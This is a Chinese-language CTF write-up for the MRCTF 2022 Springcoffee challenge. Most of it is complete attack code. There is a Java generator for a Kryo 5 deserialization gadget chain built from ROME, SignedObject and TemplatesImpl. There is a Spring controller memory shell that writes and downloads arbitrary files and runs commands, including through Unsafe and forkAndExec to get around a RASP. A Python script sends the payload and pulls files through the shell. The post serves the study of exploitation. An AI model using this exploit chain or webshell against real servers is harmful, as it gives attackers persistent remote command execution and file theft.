MRCTF22 Springcoffee
1diot9 Lv3

前言

高版本kyro反序列化,二次反序列化绕transit属性,controller内存马注入,rasp绕过(forkAndExec绕过)

这题考的东西很多,而且很复杂,当时复现花了两天才搞好,不过也是学到了很多东西

分析

组件自己看吧,很容易确定是kyro入口。依赖里也用rometools,那么就可以考虑ROME链,也就是toString–>getter。rasp是注入内存马读文件后才发现的,后面在分析

高版本kryo绕过

这里kyro是5.3.0版本的,之前在ciscn23里考过一道seaclouds,那里面的kryo是4.x.x版本的。这两个版本有一些不同,下面分析。

kyro跟hessian一样,都是基于field机制的。一般入口点可以是HashMap#hashcode,因为里面反序列化HashMap类型数据的时候会调用put还原,而put的时候一定会用hashcode检查键是否重复。另外,也可以从equals入手,那就可以走HotSwap那条,最终也是可以触发toString

不过kryo4直接序列化就行,kryo5里面却加了一些限制。下面参照Y4的文章2022MRCTF-Java部分,开始分析

首先这里链子是比较简单的,要注意的就是需要有二次反序列化,因为kyro不能序列化transit的属性,而TemplatesImpl的_tfactory就是transit属性。

大致链子如下:

1
2
3
4
5
6
7
8
9
10
HashMap#putVal#equals
HotSwappableTargetSource#equals
XString#equals
ToStringBean#toString
SignedObject#getObject
HashMap#readObject
HashMap#hash
EqualsBean#hashCode
ToStringBean#toString
TemplateImpl#getter

当然,前半段用ROME链触发也可以。

先不放阶段性EXP了,强烈建议先去后面看完整的,把讲到的部分看了就行,后面也是这样。这里如果构造好EXP去测试的话是会报错的:img

说是HashMap的Class没注册。这里我们回去看一下Controller里的逻辑是怎么写的:img

img

两个路由,第一个很明显是反序列化的,那第二个是用来干什么的呢?简单分析可以知道,它是用来调用kryo里的任意setter方法的。解决报错的关键就在于调用什么setter方法,传入什么参数。我们知道,kryo反序列化的关键就是调用com.esotericsoftware.kryo.serializers.MapSerializer进行反序列化。

知道上面这些后,我们再去定位到报错的位置:img

报错在这里,那我们调整这个值为false是不是就可以了呢?正好又有对应的set方法,去尝试一下,发现确实可以。此时它会执行com.esotericsoftware.kryo.util.DefaultClassResolver#registerImplicit=>com.esotericsoftware.kryo.Kryo#getDefaultSerializer最终获取到我们需要的com.esotericsoftware.kryo.serializers.MapSerializer

不过出现了新的报错:意思是反序列化的类需要有无参构造img

这个报错怎么解决我不太能讲清楚,这里直接给

1
"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"

可以去看Y4的文章,写的比较清楚

最终的payload:

1
2
3
4
"polish": True,
"References": True,
"RegistrationRequired": False,
"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"

这里还多出来一个References,这个很多文章里没写,但是必须要加,我从官方EXP里面看到的。但是具体原因不知道,如果有人知道了可以给我留言。

kryo反序列化到此为止,EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import javassist.ClassPool;
import org.json.JSONObject;
import org.springframework.aop.target.HotSwappableTargetSource;
import tools.Evil;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class KryoSer {
protected Kryo kryo = new Kryo();

public String ser(String raw) throws Exception {
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
for (Method setMethod : this.kryo.getClass().getDeclaredMethods()) {
if (setMethod.getName().startsWith("set")) {
try {
Object p1 = serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()[0].isPrimitive()) {
try {
setMethod.invoke(this.kryo, Class.forName((String) p1).newInstance());
} catch (Exception e) {
e.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception e2) {
}
}
}
}


byte[] bytecode = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "1diOt9");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
byte[] bytes = Files.readAllBytes(Paths.get("D:\\BaiduSyncdisk\\ctf-challenges\\java-challenges\\MRCTF\\MRCTF2022\\springcoffee\\target\\classes\\memshell\\SpringBootController_Higher2_6_0.class"));
setFieldValue(templates, "_bytecodes", new byte[][] {bytes});

ToStringBean toStringBean1 = new ToStringBean(Templates.class, templates);
//防止在put时触发
EqualsBean equalsBean1 = new EqualsBean(String.class, "any");

HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(equalsBean1, "any");

setFieldValue(equalsBean1, "obj", toStringBean1);
setFieldValue(equalsBean1, "beanClass", ToStringBean.class);



//固定写法,初始化SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(hashMap1,privateKey,signingEngine);

// signedObject.getObject();

ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean2);
// 为防止 put 时提前命令执行,这里先不设置,随便 new 一个 HashMap 做参数
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new HashMap<>());

HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(h1, "test1");
hashMap2.put(h2, "test2");

// 反射设置 this.target 为 XString 对象
setFieldValue(h2, "target", new XString("test"));
setFieldValue(toStringBean2, "obj", signedObject);
setFieldValue(toStringBean2, "beanClass", SignedObject.class);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Output output = new Output(baos);
this.kryo.writeClassAndObject(output, hashMap2);
output.close();

return new String(Base64.getEncoder().encode(baos.toByteArray()));

}


public void deser(String s){
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(s));
Input input = new Input(bais);
this.kryo.readClassAndObject(input);
}


public static void main(String[] args) throws Exception {
KryoSer kryoSer = new KryoSer();
String raw = "{\"polish\":true,\"References\": True,\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}";
String ser = kryoSer.ser(raw);
new FileOutputStream("D:\\tmp\\payload.txt").write(ser.getBytes());
// kryoSer.deser(ser);

}


public static void setFieldValue(Object obj, String fieldName, Object value) throws IllegalAccessException {
Class<?> aClass = obj.getClass();
Field field = null;
while (aClass != null) {
try{
field = aClass.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
aClass = aClass.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, value);
}

}

内存马编写

第一次自己写内存马用,当时也是出了很多问题,不过后来也是跟着文章搞好了

LandGrey’s Blog

Spring内存马学习 | Bmth’s blog

跟着这两篇文章写好了,主要是SpringBoot以2.6.0为分界,Controller的注册方法有点不一样。成功以后自己再去加各种功能就很方便了,这里展示的是最完整的内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
package memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import sun.misc.Unsafe;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

//Memshell when SpringBoot>=2.6.0
public class SpringBootController_Higher2_6_0 extends AbstractTranslet {
static{


try {
System.out.println("start static SpringBootController_Higher2_6_0");

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method declaredMethod = Class.forName("memshell.SpringBootController_Higher2_6_0").getDeclaredMethod("login", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();
mappingHandlerMapping.registerMapping(info, Class.forName("memshell.SpringBootController_Higher2_6_0").newInstance(), declaredMethod);

System.out.println("SpringBootController_Higher2_6_0 is been registered");


} catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException |
NoSuchFieldException e) {
throw new RuntimeException(e);
}
}

public SpringBootController_Higher2_6_0() {
System.out.println("SpringBootController_Higher2_6_0 no args constructor is been used");
}

public void login(HttpServletRequest request, HttpServletResponse response) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchMethodException, InvocationTargetException {
try {

PrintWriter writer = response.getWriter();

//任意文件写入
String writePath = request.getParameter("writePath");
String writeBytes = request.getParameter("writeBase64");
if (writePath != null && writeBytes != null) {
byte[] decode = Base64.getDecoder().decode(writeBytes);
new FileOutputStream(writePath).write(decode);
}

//文件下载
String filePath = request.getParameter("file");
if (filePath != null) {
byte[] bytes = Files.readAllBytes(Paths.get(filePath));
String s = Base64.getEncoder().encodeToString(bytes);
writer.write(s);
}

//读文件,不会触发Runtime等
String urlContent = "";
String read = request.getParameter("read");
if (read != null) {
final URL url = new URL(read);
final BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.println(urlContent);
}


String arg0 = request.getParameter("code");
// 命令执行ProcessImpl
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}

String[] strs = request.getParameterValues("cmd");
//通过forkAndExec命令执行
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class processClass = null;

try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}

Object processObject = unsafe.allocateInstance(processClass);

// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes

for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}

int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);

int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});

forkMethod.setAccessible(true);// 设置访问权限

int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});

// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);

// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

writer.write(baos.toString());


}
} catch (IOException e) {
throw new RuntimeException(e);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (SecurityException e) {
throw new RuntimeException(e);
} catch (IllegalArgumentException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}



public static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

一开始其实注入的就是一个最普通的内存马,后来发现没法执行命令。于是增加了目录和文件读取的功能,通过read=file:///这样的伪协议形式读。然后会发现虽然能知道flag就在根目录下,但是由于权限原因没法直接读取(看dockerfile知道的)。查看app目录,发现有jrasp.jar,再给内存马加功能,把rasp下载下来(读base64编码,python脚本再转换)。

rasp没学的话可以参考文末的几篇文章。这个rasp禁止了ProcessImpl,但是没禁止UnixProcess,所以我们可以直接通过UnixProcess去执行命令。但是我内存马是直接用forkAndExec去执行了,更底层一点。虽然作者的本意是让我们写JNI文件去命令执行的。

这样注入后就可以执行命令了,通过readFlag去读。但是这个readFlag是一个算术题,也是需要把文件下载,然后写对应的C语言程序与readFlag交互,最后把写好的C语言程序上传并执行。这个计算题的步骤我当时没复现,感觉有点麻烦。

最后给一下参考的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import base64

import requests
from urllib.parse import quote


def upload_jar_file(url, file_path, headers=None):
"""
上传 .jar 文件到指定 URL

:param url: 目标服务器的 URL
:param file_path: 要上传的 .jar 文件路径
:param headers: 可选的请求头(如身份验证信息)
:return: 返回服务器响应
"""
# 检查文件是否存在
try:
with open(file_path, 'rb') as file:
files = {'file': (file_path, file, 'application/java-archive')}
response = requests.post(url, files=files, headers=headers)
return response
except FileNotFoundError:
print(f"Error: File not found at {file_path}")
return None
except Exception as e:
print(f"Error: {e}")
return None


def post(url, data=None, json=None, headers=None):
response = requests.post(url, data=data, json=json, headers=headers)
print(response.text)


def get(url):
response = requests.get(url)
print(response.text)
return response.text


def readTXT(file_path):
with open(file_path, 'r') as file:
return file.read()


def readBin(file_path):
with open(file_path, 'rb') as file:
return file.read()


if __name__ == '__main__':
headers = {
"cmd": "whoami",
# "Content-Type": "application/json"
"Accept": "text/html;charset=fengfff",
}

payload = readTXT("D://tmp//payload.txt")

data = {
"message": f"{payload}"
}

url = "http://192.168.21.132:8007/coffee/demo"
json_raw = {

"polish": True,
"References": True,
"RegistrationRequired": False,
"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"

}

# post(url, json=json_raw)

coffee_json = {
"extraFlavor": f"{payload}",
"espresso": 0.1
}
url2 = "http://192.168.21.132:8007/coffee/order"
# post(url2, json=coffee_json)

bin_base64 = get("http://192.168.21.132:8007/shell?file=/app/jrasp.jar")
output_path = "D://tmp//jrasp.jar"
with open(output_path, 'wb') as file:
decoded_bin = base64.b64decode(bin_base64)
file.write(decoded_bin)

flag = readBin("D://flag")
bwriteBase64 = base64.b64encode(flag)
writeBase64 = bwriteBase64.decode("utf-8")
writePath = "/fllag"
get(f"http://192.168.21.132:8007/shell?writePath={writePath}&writeBase64={writeBase64}")

总结

这道题对我来说主要就是实践了一下内存马和rasp绕过,另外还有高版本kryo的绕过。题目很难,大佬们是真厉害

参考

wp:

2022MRCTF-Java部分

MRCTF 2022 By W&M - W&M Team

RASP绕过初探 | Bmth’s blog

EkiXu/My-CTF-Challenge

kryo:

[浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641) Mi1k7ea ]

内存马:

Spring内存马学习 | Bmth’s blog

LandGrey’s Blog

JavaAgent与Rasp:

浅谈 Java Agent 内存马 – 天下大木头

Java Agent 内存马学习 | Drunkbaby’s Blog

[本地命令执行漏洞 · 攻击Java Web应用-Java Web安全]

文章 - JAVA安全之命令执行研究分析 - 先知社区

[JNI攻击 · 攻击Java Web应用-Java Web安全]

Java 反序列化绕过 RASP - DumKiy’s blog

[java Rasp 的简单实现与绕过 - Ko1sh1’s Blog](https://ko1sh1.github.io/2024/03/25/blog_java Rasp的实现与绕过/#JNI-绕过RASP-执行命令)

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量